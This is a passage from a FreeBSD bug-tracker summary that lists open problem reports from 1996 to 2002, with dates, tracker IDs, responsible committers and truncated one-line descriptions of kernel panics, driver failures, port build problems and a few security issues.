i386/20308 yokota vidcontrol VESA_800x600 causes a kernel p f [2000/07/31] kern/20310 groudier Symbios 53c875j drivers don't work o [2000/08/03] kern/20375 APM doesn't work properly! Suspend/resum o [2000/08/05] kern/20429 yokota setting flags 0x1 in atkbd0 locks keyboar o [2000/08/08] i386/20495 yokota 4.1-STABLE and 4.1-RELEASE: keyboard does o [2000/08/28] kern/20895 groudier sym driver doesn't work for SYM53C895A o [2000/09/04] misc/21025 msmith BTX loader 1.00 gets 1Gb of memory from B f [2000/09/04] i386/21042 mdodd Keyboard driver problems with PS/2 Model o [2000/09/12] kern/21220 msmith mlx0: I/O error - attempt to write beyond o [2000/09/14] kern/21272 wpaul USB interrupts seem to be turned off o [2000/09/14] kern/21278 gibbs ahc driver wedges on stressed SMP system o [2000/09/17] kern/21323 msmith Lock up at boot on Acer507DX with pci.c 1 f [2000/09/19] kern/21397 joerg Floppy drive doesn't work on Compaq ProLi f [2000/10/05] i386/21772 No interrupts for 39160 PCI adapter in PR o [2000/11/01] kern/22494 wpaul Fatal trap 12: page fault while in kernel f [2000/11/02] kern/22557 fatal kernel trap 0x2(memory management) f [2000/11/03] bin/22595 brian telnetd tricked into using arbitrary peer o [2000/11/18] kern/22953 keu driver throws 'usb error on rx: IOERR o [2000/11/20] gnu/22972 obrien Internal Compiler Error o [2000/11/25] misc/23103 lacks many ISO C99 features (NAN f [2000/11/27] i386/23145 brian pppoe-test-program panics the server o [2000/11/29] kern/23173 read hangs in linux emulation f [2000/12/09] kern/23411 SMP Kernel Freezes Machines on Dual Proce a [2000/12/14] kern/23547 msmith only one logical device on Mylex AcceleRA f [2000/12/14] i386/23548 4.x causes Thinkpad 560X disk to spin up/ a [2000/12/21] kern/23740 silby kernel DoS tha could be executed by any u o [2001/01/17] kern/24418 jasone read/write in thread library (-lc_r) does f [2001/01/30] kern/24740 cy filesystem corruption CFP1080 CAM SCSI ca a [2001/02/02] kern/24811 Networking in FreeBSD 4.2-RELEASE doesn't f [2001/02/20] kern/25235 OS Hungs up when using with a Battery of f [2001/02/23] i386/25328 4.x stable kernel crash: page fault f [2001/02/27] misc/25407 Error while booting 4.2 : ahc0 Signaled A o [2001/03/09] kern/25632 n_hibma USB modem (umodem) may destroy the cfreel o [2001/03/20] kern/25950 obrien Bad drives on asr look zero-length and pa o [2001/03/24] kern/26048 obrien 4.3-RC: SMP and asr driver don't work to f [2001/03/30] kern/26223 Linux /compat/linux/dev devices doesn't w f [2001/03/30] kern/26224 dillon VFS Panic/SMP/CFLOW(HEAVY network)/Heavy o [2001/04/02] bin/26305 mjacob Cannnot restore partions with FreeBSD 4.x f [2001/04/12] kern/26510 kernel panic while booting on Intel STL2 o [2001/04/13] kern/26549 IPsec policies for more than one pair of f [2001/04/20] i386/26736 System freeze booting from (i386) 4.3 flo f [2001/04/25] kern/26840 dillon process doing mmap() over nfs hangs in vm o [2001/05/02] ports/27036 sobomax All Ports using Mesa3 are required with - f [2001/05/02] i386/27042 4.3-RELEASE installation from CDROM fails f [2001/05/02] kern/27048 Bus support (I believe) broken in freeBSD f [2001/05/03] kern/27059 groudier (symbios) SCSI subsystem hangs under heav a [2001/05/10] kern/27250 bp unionfs filesystem panics in large number o [2001/05/11] kern/27275 kernel bug ? f [2001/05/17] conf/27408 rc.network hangs at rpc.umntall if stale o [2001/06/07] bin/27939 rlogin uses wrong IP address for remote h o [2001/06/08] kern/27985 Recent -STABLE crashes when accessing dc o [2001/06/09] kern/27987 New ATA Driver failure with VIA Southbrid a [2001/06/09] i386/27991 ssh 1 and 2 login with keys is not possib o [2001/06/09] bin/28002 ru SHARED=symlinks is broken f [2001/06/14] kern/28162 RELENG_4 (4.2, 4.3) Panics when system ha f [2001/06/14] kern/28163 in_pcballoc Panic in RELENG_4 with large o [2001/06/20] i386/28293 imp Dell Latitude CpxJ 750 hangs on install o [2001/06/25] kern/28402 kernel panic caused by softupdates (may b o [2001/06/25] kern/28418 dwmalone XFree86 4.X panics FreeBSD 4.3-STABLE on o [2001/06/27] kern/28465 Enabling softupdates on a clean but activ o [2001/06/27] kern/28466 When soft updates is enabled, cpl is not o [2001/06/30] i386/28550 Boot: Fatal Trap 12: page fault while in f [2001/06/30] i386/28558 makedev return non-zero status after inst o [2001/07/02] kern/28630 Look like hung up a kernel after few minu f [2001/07/04] kern/28703 dillon Kernel reboot during tape backup of nfs m o [2001/07/05] kern/28751 n_hibma USB Mouse doesn't seem to work! o [2001/07/14] kern/28966 pirzyk math libraries in linux emulation do not o [2001/07/14] kern/28974 PPPoE software fails when SOCK_RAW employ o [2001/07/15] ports/28995 max deMime produces blank line in header part f [2001/07/17] i386/29045 Heavy disk usage causes panic in ffs_blkf f [2001/07/19] i386/29096 freebsd 4.2/4.3 hangs after probing devic o [2001/07/21] kern/29121 msdos fs causes kernel panic when writing o [2001/07/24] bin/29191 NFS file locking fails from Solaris 8 cli o [2001/07/24] misc/29200 dcs Syntax errors in /boot/device.hints cause o [2001/07/30] ports/29325 ports Dbview contains an error, because of whic o [2001/08/13] ports/29681 portmgr bsd.port.mk cannot handle some module's P o [2001/08/14] conf/29699 Setting NO_MAILWRAPPER results in a syst o [2001/08/15] kern/29741 ptrace(pid);ptrace(ppid) makes pid and pp o [2001/08/15] kern/29742 PCCARD Modems don't work on cardbus bridg o [2001/08/15] kern/29743 TI-1450 interrupt storm o [2001/08/18] kern/29844 setpgrp does not behave as manual says o [2001/08/18] kern/29847 n_hibma USB usbd_probe_and_attach() is broken and f [2001/08/31] kern/30238 3Com 509-Combo ISA NIC don`t work o [2001/09/03] ports/30292 kde QT/KDE 1.x needs to be removed o [2001/09/03] kern/30300 -current hang caught and crash-dump'd. o [2001/09/04] ports/30331 portmgr Conflict between bsd.port.mk MAKEFILE var o [2001/09/09] i386/30458 Workstation sometimes hangs when connecte f [2001/09/12] i386/30527 does not like scsi on atrend 6260 dual PI o [2001/09/19] i386/30670 4.3 and 4.4 mfsroot floppies reboot Dell o [2001/09/20] i386/30693 On new install bootup does endless usb0: f [2001/09/21] i386/30705 msmith Installation fails on system with Mylex A o [2001/09/23] kern/30771 Panic when mounting drive a [2001/09/24] i386/30802 gibbs repeat of i386/22760. Adaptec SCSI contro o [2001/09/27] bin/30869 dump does not dump all files of a filesys o [2001/09/28] i386/30898 Inspiron 8100 keyboard unusable off mains o [2001/09/29] kern/30921 ACER mechanic ps/2 keyboard don´t work an o [2001/09/30] ports/30935 taoka pips sc880 - needs to have syvr4 support o [2001/10/01] i386/30961 On lsdev -> error & BTX halted =( o [2001/10/04] kern/31042 murray Device name conflict o [2001/10/12] kern/31233 Kernel panics after upgrading to 4.4-STAB o [2001/10/13] ports/31254 obrien I cannot compile Java src files using gcj o [2001/10/14] misc/31266 System can be crashed with "ls -al /flopp o [2001/10/15] bin/31304 joe fix crunchgen to work with more contrib-k o [2001/10/17] conf/31327 Fixes and improvements for rc.diskless* s o [2001/10/24] kern/31468 Spontaneous crashes, possible related to o [2001/10/25] kern/31493 BTX halted with big disk and 4.4R f [2001/10/31] i386/31671 4.4 installer hangs at " Mounting root fr o [2001/11/02] kern/31710 kernel reboots; looks like an unintended o [2001/11/12] ports/31948 steve open-motif: having USE_MOTIF in /etc/make o [2001/11/16] bin/32040 brian 4.4-Release "set mtu" in ppp is broken wi f [2001/11/20] i386/32127 Proliant 1600 kernel panics after SMP is o [2001/11/22] kern/32184 Kernel crashes in ufs code o [2001/11/23] i386/32237 4.4-RELEASE keyboard doesnt work after bo f [2001/11/30] kern/32418 silby kernel table full o [2001/12/04] ports/32506 des Apache mod_auth_pam doesn't works o [2001/12/07] conf/32583 jkh System becomes unusable after performing o [2001/12/09] ports/32664 obrien open-motif-devel-2.1.30 registers itself o [2001/12/11] ports/32707 ports ghostscript-gnu fails during install o [2001/12/11] kern/32713 usb mouse detaches from hub and doesnt re o [2001/12/11] ports/32714 kde KDE build failure: Qt's uic core dumps o [2001/12/12] alpha/32757 alpha fatal kernel trap using generic kernel fo o [2001/12/14] i386/32830 FreeBSD 4.4 install fails on Thinkpad 750 a [2001/12/14] kern/32831 sos HP Colorado IDE tape drive get wedged eas o [2001/12/16] bin/32895 imp rebooting between Win98SE and 4.4-2001121 f [2001/12/22] i386/33089 re GENERIC bloat causes 'make world' to brea o [2001/12/25] misc/33169 system freeze after cron daily security c o [2001/12/26] kern/33219 bp smbfs case senstitive problem o [2001/12/27] misc/33261 dwmalone FreeBSD base system does not install tcpd o [2001/12/27] gnu/33262 mp gdb does not handle pending signals corre f [2001/12/30] conf/33345 pnpinfo not finding info for pnp pci mode o [2001/12/31] kern/33397 "panic: unknown/reserved trap" with moder f [2002/01/04] i386/33525 root access without password o [2002/01/04] kern/33542 silby a few of swapping completly freeze system f [2002/01/04] misc/33567 RELENG_4 won't makeworld; bsd.dep.mk, Mak o [2002/01/05] i386/33574 kernel hangs on page fault during boot pr o [2002/01/05] ports/33587 ports biabam needs base64 capable encoder f [2002/01/07] kern/33637 dillon Panic: vm_page_unwire: invalid wire count o [2002/01/07] bin/33670 dwmalone default inetd install allows for unlimite f [2002/01/08] misc/33688 Downloading some files with ftp hangs the o [2002/01/08] ports/33703 ports crossfire-0.94.3 crashes often on encount o [2002/01/14] ports/33887 kris security/snort port cannot find its rule o [2002/01/16] kern/33951 pthread_cancel is ignored o [2002/01/16] kern/33952 Bogus error message from correct phreads o [2002/01/16] ports/33964 ports games/flightgear broken (uncompilable) o [2002/01/16] kern/33970 random freeze on IDE Raid 0 (Highpoint HP o [2002/01/17] misc/33997 Reboot Fails on Server o [2002/01/17] i386/34018 response to request from ipv6 client does o [2002/01/18] bin/34028 brian userland ppp o [2002/01/18] i386/34051 Install menu crashes o [2002/01/19] kern/34067 n_hibma Reproducable crash on usb ugen o [2002/01/19] kern/34071 pcn-driver is sort-of-broken in 4.5RC2 (a a [2002/01/21] ports/34123 mharo sudo coredumps on ^C in password prompt & o [2002/01/21] i386/34144 installation,mounting root from ufs:/dev/ o [2002/01/25] bin/34274 green 4.5-RC Interoperability issue: sshd o [2002/01/27] ports/34357 ports ports needs a resume function. f [2002/01/28] ports/34393 trevor ghostscript-gnu 6.52_1 fails to build f [2002/01/28] ports/34395 ade gnomelibs-1.4.1.2_2 fails to build o [2002/01/29] ports/34433 obrien devel/gdb51 port doesn't build f [2002/01/30] kern/34447 DLink DFE 500 rev E1 + dhclient dc0 crash o [2002/01/30] kern/34470 bde Modem gets sio1 interrupt-level buffer o o [2002/01/31] ports/34493 ports linux-realplayer has a security vulnerabi o [2002/01/31] bin/34502 ssh can crash the 4.5 system o [2002/02/02] ports/34552 ports lame don't compile o [2002/02/02] ports/34553 ports fetchmail can lose mail in POP3+UIDL mode o [2002/02/03] i386/34576 cannot load freebsd o [2002/02/06] ports/34669 www "download" links in WWW ports listing are f [2002/02/06] misc/34675 iedowse Restore asking for another volume - on la o [2002/02/06] kern/34680 Kernel panics when checking-out a tree (d o [2002/02/07] kern/34711 frequent system stall under moderate scsi f [2002/02/11] kern/34830 frequent panic . 4.3-STABLE o [2002/02/11] ports/34863 ports port apache13-fp broken o [2002/02/15] i386/34977 IPFW UID/GID Based Filtering doesn't work a [2002/02/16] misc/35022 cjc network broadcast addresses may be use o [2002/02/18] kern/35082 IBM Intellistation will not reboot with S o [2002/02/18] i386/35096 Network card dies copying files > 200MB w o [2002/02/20] misc/35150 FreeBSD 4.5 won't install ... out of inod o [2002/02/20] misc/35151 High NFSD load in FreeBSD 4.5R f [2002/02/26] kern/35354 4.4/4.5 FreeBSD causes hard lock after 20 o [2002/02/28] kern/35435 rl driver generates large amount of colli o [2002/03/01] ports/35462 obrien patch to rsync-2.5.2 o [2002/03/01] kern/35466 xe driver can not read CIS tuples o [2002/03/04] ports/35532 ports ATI Radeon VE doesn't work with XFree84-4 210 problems total. Serious problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- s [1996/12/30] kern/2325 quota.user enlarged, no boot on 2.2-BETA o [1997/02/07] kern/2690 asami When Using ccd in a mirror mode, file cre o [1997/02/19] kern/2768 ktrace(1) -i dumps corrupted trace data o [1997/02/20] bin/2785 wpaul callbootd uses an unitialized variable a [1997/04/01] bin/3170 sheldonh vi freaks and dump core if user doesn't e f [1997/05/04] i386/3502 mdodd Merge of if_ix* and if_ie* broke EE/16 su o [1997/05/06] bin/3524 imp rlogin doesn't read $HOSTALIASES for non- o [1997/06/28] misc/3980 peter access via NFS fails during mount-operati o [1997/07/02] kern/4012 peter 2.2-RELEASE/Digital UNIX NFSv3 0 length f f [1997/07/17] kern/4115 peter SunOS NFS file has wrong owner if creator o [1997/07/30] kern/4194 peter kernel pci driver for Digital 21041 Ether o [1997/08/12] kern/4284 paul le0 goes OACTIVE after some time o [1997/08/22] bin/4357 bug in adduser script causes duplicate UI s [1997/10/01] bin/4672 rdist does not do hard links right when t o [1997/10/16] kern/4782 dillon Under certain conditions, several krsh's o [1997/12/14] bin/5297 make incompatibility with System V style o [1998/01/27] kern/5587 des session id gets dropped o [1998/02/28] kern/5877 bmilekic sb_cc counts control data as well as data o [1998/03/19] kern/6066 paul lnc driver does not work correctly with A a [1998/04/07] kern/6238 cg Sound-driver patch for MAD16 (OPTi 928,92 a [1998/05/06] bin/6536 pppd doesn't restore drainwait for tty s [1998/06/02] bin/6830 make(1) exhibits confusing and non-standa s [1998/06/23] bin/7033 Same process notified multiple times o [1998/06/24] i386/7057 mdodd 3Com 3C509 locks up, or has >1000ms rtt u s [1998/07/05] kern/7169 cannot use accton on a append-only file o [1998/07/12] i386/7266 yokota PSM detection failure with Linksys consol s [1998/07/14] kern/7281 [STABLE] Multicast kludge does not work c s [1998/08/10] kern/7556 sl_compress_init() will fail if called an f [1998/09/11] kern/7902 if_de doesn't properly recognize a "Magic o [1998/09/17] bin/7968 If /usr/libexec/yppwupdate DNE, rpc.yppas o [1998/09/30] gnu/8099 obrien [patch] some bugs in cpio f [1998/10/08] kern/8206 [patch] Unconected UDP socket declined, i o [1998/11/10] bin/8646 peter Implement rlogind -a option f [1998/11/20] kern/8778 gibbs Buslogic BT948 in 2 boxes upgraded from S f [1998/11/25] bin/8865 dwmalone syslogd hangs with serial console o [1998/11/29] conf/8903 dillon /etc/rc can do NFS mounts before the netw o [1998/12/21] kern/9163 adrian [patch] squid does not join a multicast g s [1999/01/07] bin/9379 pppd does not go through all interfaces l s [1999/01/08] kern/9391 if_addmulti doesn't check for retifma == o [1999/01/13] kern/9478 assar support for running a script from kldload s [1999/02/06] kern/9927 gibbs the ahc driver doesn't correctly grok swi o [1999/02/15] kern/10107 dillon interlock situation with exec_map and a p f [1999/02/25] bin/10264 davidn passwd(1) tryis NIS even with `-l' switch o [1999/02/28] bin/10312 ken pciconf -l generates output incompatible s [1999/03/02] bin/10353 ypserv gets segmentation violation o [1999/03/09] bin/10510 Remote cvs botches commits on occassion o [1999/03/16] bin/10633 fenner [patch] tcpslice timezone problem and upd a [1999/03/24] kern/10778 ru "ipforward_rt" is not cleared when routin o [1999/03/30] kern/10870 eivind Kernel panic when writing to write-protec s [1999/04/08] misc/11024 getpwnam(3) uses incorrect #define to lim s [1999/04/28] conf/11376 NFS mount may be happening too soon in /e o [1999/05/03] kern/11462 imp CS network interface driver (for CS89XX b o [1999/05/04] kern/11490 yokota VESA+VM86+Splash == unstable system o [1999/05/05] kern/11507 imp CS89XX (i386/isa/if_cs.c) fails to proper o [1999/05/05] misc/11525 dwmalone [PATCH] Networking patches to increase # s [1999/05/07] gnu/11562 tar verification doesn't work o [1999/05/13] kern/11697 tegge Disk failure hangs system o [1999/05/18] i386/11773 yokota mouse works at setup time. Under X it go o [1999/05/28] kern/11922 deischen missing reentrant interfaces for getpwnam o [1999/07/07] kern/12551 mks ASIC output is shifted following a short o [1999/07/20] bin/12727 billf Game patches from NetBSD o [1999/08/14] kern/13141 se Multiple LUN support in NCR driver is bro o [1999/09/10] bin/13691 fenner tcpslice cannot extract over 2GB part of o [1999/09/13] kern/13740 jlemon wrong IP statistics s [1999/09/16] conf/13775 multi-user boot may hang in NIS environme s [1999/09/17] i386/13787 lnc driver isn't really the lnc driver o [1999/09/26] misc/13978 peter a write to last column bug appears since o [1999/09/27] kern/13997 rwatson RLIMIT_NPROC works unadequately for jails s [1999/10/04] i386/14135 lpt1 nolonger exists after 3.2-RELEASE o [1999/10/12] kern/14285 dillon NFS client appears to lose data o [1999/10/14] i386/14334 imp AHA-1542A not supported by FreeBSD 3.x (" o [1999/10/26] kern/14549 mdodd 3C509 broken in 3.3 o [1999/10/27] kern/14566 yokota Non-kernel programs have little/no contro a [1999/11/04] kern/14712 iedowse root has access to NFS mounted directorie s [1999/11/12] kern/14848 Frame Relay support, corrected a [1999/11/12] misc/14856 billf ftp stalls on FreeBSD 3.3 (CDROM) tested o [1999/11/17] i386/14946 mjacob rmt - remote magtape protocol s [1999/12/14] kern/15478 incorrect utmp/wtmp records update upon c o [1999/12/23] misc/15662 markm [PATCH] perl5 Sys::Hostname fails if no P o [1999/12/26] kern/15707 dillon bad trap in mprotect o [2000/01/01] kern/15825 dillon Softupdates gets behind, runs the system s [2000/01/02] i386/15845 Driver for RealTek 8029 f [2000/01/03] bin/15877 tobez Perl 5.00503 interpreter crashes with a s o [2000/01/12] kern/16090 mdodd No buffer space available a [2000/01/22] kern/16299 tmm nfs.ko can be unloaded when nfsd is runni o [2000/01/24] ports/16343 reg bsd.port.mk cannot override make.conf. o [2000/02/08] kern/16587 cg Can't record with newpcm & CS4236 (AW35/P o [2000/02/10] kern/16644 Bad comparsion expression in bpf_filter.c o [2000/02/21] conf/16879 tanimura Sound drivers seem to be using shared irq o [2000/02/23] conf/16948 qa Sysinstall/disklabel: bad partition table o [2000/02/25] misc/16991 jhb booting install disk and USB s [2000/03/01] misc/17108 SecureRPC not supported in mount_nfs comm o [2000/03/10] misc/17310 wpaul NIS host name resolving may loop forever o [2000/03/13] bin/17360 green [PATCH] Cleanup bug in pam_ssh o [2000/03/16] kern/17422 bde 4.0-STABLE: top: nlist failed o [2000/03/20] kern/17504 ken Another Micropolis Synchronize Cache Prob f [2000/03/20] misc/17517 wpaul 100/10baseT card resets under load s [2000/03/21] conf/17540 NIS host lookups cause NFS mounts to wedg f [2000/03/21] kern/17542 greid random static with GUS PnP o [2000/03/24] misc/17584 groudier fatal SCSI error with a Symbios 53c875 co o [2000/03/27] i386/17626 green sshd cores when I scp to it o [2000/03/28] alpha/17637 billf misconfigured syscons bell causes panic o o [2000/03/29] i386/17662 gibbs cam_xpt.c incorrectly disables tagged que o [2000/03/31] i386/17713 gibbs MAKEDEV and /stand/sysinstall goofups wit o [2000/04/04] i386/17800 bde [PATCH] problem with statclock initializa f [2000/04/06] kern/17829 The dc driver is seriously broken o [2000/04/07] bin/17843 ftpd fails to set cwd with mode 700 NFS m f [2000/04/10] kern/17905 dillon 4.0-SNAP keep on crashing every 3 days o [2000/04/11] i386/17926 yokota psm device problems with apm resume o [2000/04/12] kern/17961 n_hibma Fatal Trap 12. Page fault while in kernel o [2000/04/12] kern/17965 wpaul vr (MII-bus version in 4.0 ONLY) driver l o [2000/04/14] kern/18012 adrian vnode_free_list corruption, "free vnode i o [2000/04/17] misc/18065 mdodd FREEBSD 4.0 crashes on boot Compaq Prolia o [2000/04/23] ports/18180 jmz xdm authorization fails with XDM-AUTHORIZ s [2000/04/23] bin/18181 Getty can fail to observe :de: specificat f [2000/04/23] i386/18185 gibbs Adaptec 3950U2 errors during boot/probe o [2000/04/24] kern/18200 mdodd 3com 3c509b recognized twice during boot f [2000/04/25] kern/18209 green rlimits are never checked in exec() if ex o [2000/04/28] kern/18285 the system froze when use scon -s 50 o [2000/05/02] kern/18345 cg sbc / pcm not fully recognizing AWE64 o [2000/05/02] kern/18348 yokota tags o [2000/07/19] kern/20040 msmith Toshiba 2775 hangs after pcib0 driver is o [2000/07/25] misc/20172 byacc 1.9 fails to generate $default tran f [2000/07/27] kern/20217 darrenr IPF default block and inclusion in rc.net o [2000/07/27] kern/20234 green panic(): lockmgr: pid 259, not exclusive o [2000/07/29] conf/20282 qa sysinstall does not recover some /etc fil f [2000/07/31] kern/20335 yokota S3Trio64V+ is detected as CGA by syscons a [2000/08/02] bin/20373 Setting breakpoints in shared objects bro o [2000/08/08] ports/20490 tg Termios timeout parameters, VMIN, VTIME, f [2000/08/09] i386/20507 yokota Mouse freezes in 4.0-release after some u o [2000/08/10] misc/20521 mjacob /etc/rmt several problems o [2000/08/10] kern/20523 Support for PCI multiport cards for sio d o [2000/08/13] kern/20572 marcel cannot safely remove COMPAT_43 from the k o [2000/08/14] kern/20609 dillon panic: vm_fault: fault on nofault entry, o [2000/08/15] bin/20633 fdisk doesn't handle LBA correctly f [2000/08/17] kern/20689 groudier Newbusified version of ncr driver does no o [2000/08/18] kern/20708 imp Adaptec 1542 ISA SCSI Controller not dete f [2000/08/22] bin/20779 assar junk pointer error causes kpasswd to fail o [2000/08/26] misc/20861 jasone libc_r does not honor socket timeouts o [2000/08/28] gnu/20912 mp gdb does not recognise old executables. f [2000/08/30] bin/20952 markm ftpd doesn't honor account expiration tim o [2000/08/31] kern/20958 mdodd ep0 lockup with ifconfig showing OACTIVE o [2000/09/07] misc/21089 vi silently corrupt open file on SIGINT w f [2000/09/08] kern/21139 ken IBM DNES drives need 'quirk table' entry. o [2000/09/11] bin/21208 tar does not support 2.5 GB file o [2000/09/11] kern/21209 groudier scsi ncr driver installs instead of scsi a [2000/09/13] bin/21248 kris openssl dumps core with blank passwords o [2000/09/13] bin/21251 NIS problem - ypbind does loop in CLNT_BR o [2000/09/14] gnu/21260 buffer overrun in uux o [2000/09/14] ports/21264 markm tn3270 port receives segmentation fault o [2000/09/14] gnu/21276 libI77 is unable to handle files >2Gbytes o [2000/09/15] bin/21292 ifconfig warn but does duplicate IP addre o [2000/09/15] kern/21304 wpaul dc0 watchdog timeouts on NetGear FA310TX o [2000/09/15] kern/21305 roger bktr driver dosn't send signals in contin s [2000/09/18] misc/21384 greid pcm driver has static in recorded audio o [2000/09/19] misc/21406 freebsd's bootinst or booteasy overwrites o [2000/09/20] gnu/21433 g++ optimiser produces bad code on right o [2000/09/21] kern/21461 imp ISA PnP resource allocator problem o [2000/09/21] kern/21463 emulationLinux compatability mode should not allow o [2000/09/26] i386/21559 BTX loader sometime show registers f [2000/09/27] bin/21603 green Can't change user passwords on 4.1.1-STAB o [2000/09/28] kern/21642 Compaq Netelligent 10/100 card (TI Thunde f [2000/10/02] misc/21701 qa Keymap selection menu broken on initial i o [2000/10/02] docs/21708 jlemon kqueue/kevent man pages isn't specific ab o [2000/10/02] ports/21714 sobomax audio problem with nil o [2000/10/05] kern/21771 murray Fix for sppp and Cronyx drivers update f [2000/10/06] kern/21791 Hang on FIN_WAIT_2 a [2000/10/06] kern/21808 [patches] msdosfs incorrectly handles vno o [2000/10/15] misc/21998 green ident only for outgoing connections o [2000/10/19] kern/22142 securelevel does not affect mount o [2000/10/22] bin/22212 skeyaccess(3) doesn't for primary group o [2000/10/24] misc/22284 Change (SunOS) NIS passwd error o [2000/10/25] bin/22291 getcwd() fails on recently-modified NFS-m o [2000/10/30] kern/22417 gibbs advansys wide scsi driver does not suppor a [2000/10/30] ports/22421 ports New port: Enhydra 3.1 beta 1 o [2000/10/31] i386/22441 pmap_growkernel() is not effective at ker o [2000/11/05] bin/22614 billf pam_ssh dumps core o [2000/11/05] kern/22624 Interrupt conflict btw. vga and Ethernet o [2000/11/06] gnu/22635 Why don't you use truncate(2) in libI77 o [2000/11/13] kern/22826 emulationMemory limits have no effect in linux com o [2000/11/14] bin/22846 Routed does not reflect preference of Int f [2000/11/15] kern/22862 ncr probe fails with CACHE TEST FAILED: ? o [2000/11/15] kern/22866 Packets send on INET6 sockets compatible o [2000/11/18] kern/22943 emulationProblem with linux emulation o [2000/11/18] i386/22944 isa_dmainit fails on machines with 512MB a [2000/11/18] kern/22947 jon IBM 10/100 EtherJet Cardbus (Xircom X3201 f [2000/11/18] kern/22951 failed drive causes panic with HPT370 RAI f [2000/11/22] i386/23039 disklabel editor couldn't create partitio o [2000/11/23] gnu/23058 ncurses: tgoto_internal() ugliness o [2000/11/24] misc/23069 jkh Compat22 does not work until you reboot o [2000/11/25] bin/23098 ambrisko If installing on a serial console, enable o [2000/11/26] ports/23125 mbr Successful emulation of StarOffice depend f [2000/11/30] conf/23192 FTP REALLY slow on internal NIC aswel (12 a [2000/11/30] bin/23203 opie doesn't know that ssh connections ar o [2000/12/04] bin/23269 green OpenSSH TIS Authentication support has br o [2000/12/07] bin/23352 [SECURITY] buffer overflow in opieftpd f [2000/12/07] misc/23364 gethostbyaddr takes longer or locks up an a [2000/12/07] misc/23376 tobez The version of CGI.pm bundled with perl i o [2000/12/08] kern/23400 IPsec transport mode precludes filtering o [2000/12/11] kern/23468 imp xe Driver causes kernel panic when Xircom o [2000/12/11] bin/23489 tcsh fails to do file completion on non-E o [2000/12/12] kern/23515 get error in messages system log "Dec 11 o [2000/12/13] kern/23535 imp 4.x kernels seem to no longer support Ada o [2000/12/14] misc/23561 emulationLinux compatibility mode does not support o [2000/12/16] gnu/23593 obrien [patch] possible fix to awk(1) o [2000/12/18] ports/23638 kuriyama Add turbine-pool.jar to Cocoon CLASSPATH o [2000/12/22] kern/23771 bridge/firewall doesn't work as in bridge o [2000/12/26] bin/23866 dwmalone patch for pointing out current date o [2001/01/02] kern/24032 markm rndcontrol and pccardd use of interupt ha o [2001/01/03] kern/24059 n_hibma USB support broken in SMP kernel o [2001/01/04] kern/24070 n_hibma uhci USB driver disables port on reatachi o [2001/01/04] kern/24074 mdodd Properties of token-ring protocol must be f [2001/01/05] kern/24085 syncing on shutdown leaves filesystem dir o [2001/01/06] kern/24100 imp Having a 3c589 PCMCIA/PCCARD inserted pre o [2001/01/06] docs/24125 wes connect(2) can yield EWOULDBLOCK/EAGAIN f [2001/01/09] i386/24210 compaq dl360 hangs with smp kernel f [2001/01/10] conf/24238 First physical interface always has IPv6 o [2001/01/12] bin/24271 dumpon should check its argument more o [2001/01/16] misc/24391 cannot kill amd after interface disappear o [2001/01/19] bin/24461 pirzyk Being able to increase the YP timeout wit o [2001/01/19] bin/24472 libc_r does not honor SO_SNDTIMEO/SO_RCVT o [2001/01/22] kern/24559 aio_suspend() had Bus error when using -l s [2001/01/23] misc/24590 timezone function not compatible witn Sin o [2001/01/25] kern/24629 ng_socket failes to declare connected dat o [2001/01/25] bin/24632 libc_r delicate deviation from libc in ha o [2001/01/25] misc/24641 jasone pthread_rwlock_rdlock can deadlock o [2001/01/28] bin/24691 map-mbone segfaults at getsockname o [2001/01/29] ports/24711 portmgr ${MAKEFILE} causing trouble with ports o [2001/01/30] i386/24737 Socks5 clients die with leaving zombie pr o [2001/02/01] ports/24778 portmgr "update" target not available in categori o [2001/02/06] gnu/24903 Patch to remove 32bit limit from tar f [2001/02/06] i386/24916 SCSI timeout errors with adv0 driver (Adv o [2001/02/09] kern/24982 stack gap usage o [2001/02/10] i386/24997 /boot/loader cannot handle extended dos p o [2001/02/11] ports/25007 max telnetx problem on 4.x o [2001/02/12] kern/25037 top doesn't show CPU states (shows zeroes o [2001/02/12] kern/25038 murray dhcp client could not set hostname on boo o [2001/02/13] kern/25067 adrian able to mount a pathname > 80 char. but u o [2001/02/14] kern/25093 4.2-STABLE does not recognize PCNet-ISA+ a [2001/02/19] kern/25201 imp pccard event and syscons beep duration de o [2001/02/19] kern/25213 peter Bus abstraction interface doesn't allow p o [2001/02/21] kern/25248 bde sys/user.h needs sys/param.h, but doesn't f [2001/02/21] kern/25261 gibbs ahc0 no active SCB errors when booting of o [2001/02/21] ports/25272 rse Using eperl as cgi/nph binary executor ca o [2001/02/23] bin/25337 rwatson dmesg -a should be restricted o [2001/02/25] ports/25374 okazaki A new port math/atlas highly optimized BL o [2001/02/28] bin/25461 qa sysinstall's fdisk and disklabel don't wo f [2001/03/01] kern/25476 [PATCH] The syscall oldgetkerninfo can re o [2001/03/03] kern/25511 ioctl(fd, FIONREAD, &c) on a FIFO (not PI o [2001/03/04] ports/25522 portmgr FORBIDDEN ports doesn't return error for o [2001/03/05] bin/25542 /bin/sh: null char in quoted string o [2001/03/07] misc/25585 sed.test 8.16 puts bugged sed into infini o [2001/03/07] bin/25586 green Password expiration doesn't work after up o [2001/03/13] kern/25781 Statclocks cannot be disables on ServerWo o [2001/03/14] misc/25801 imp change IP-address on pccard (3Com) fails o [2001/03/15] bin/25826 nfsd -t -h adr1 -h adr2 doesn't work o [2001/03/16] misc/25851 qa Security hole in anonymous FTP setup scri o [2001/03/17] bin/25886 cgetset(3) doesn't get cleared when switc f [2001/03/18] i386/25889 FDISK lost a partition ! o [2001/03/19] bin/25929 Can't use MAKEDEV in fixit mount o [2001/03/20] kern/25949 msmith camcontrol doesn't find new drives or RAI o [2001/03/20] i386/25958 msmith Xfree86's savage and vesa drivers can pan o [2001/03/22] kern/25986 silby Socket would hang at LAST_ACK forever. o [2001/03/22] misc/26002 n_hibma Poor read/write performance on uhci USB c o [2001/03/22] kern/26013 Linksys (rev 3) USB 100TX NIC causes infi o [2001/03/23] ports/26036 dima acroread4 produces invalid postscript in o [2001/03/25] kern/26078 Jails cannot connect to the main server a o [2001/03/26] bin/26093 markm pam_unix rejects authenticating accounts o [2001/03/27] kern/26142 Unlink fails on NFS mounted filesystem f [2001/03/27] kern/26161 Kernel Panic on Dual Processor System dur o [2001/03/28] kern/26171 emulationnot work Linux-emulator, but hi is work i o [2001/03/31] i386/26261 silo overflow problem in sio driver f [2001/04/01] conf/26275 darrenr ipfilter_enable in rc.conf does not load o [2001/04/02] bin/26307 libc_r aborts when using the KDE media pl o [2001/04/03] kern/26309 PPPoE client panics in kernel - fxp probl o [2001/04/03] misc/26320 mountd breaks IRIX 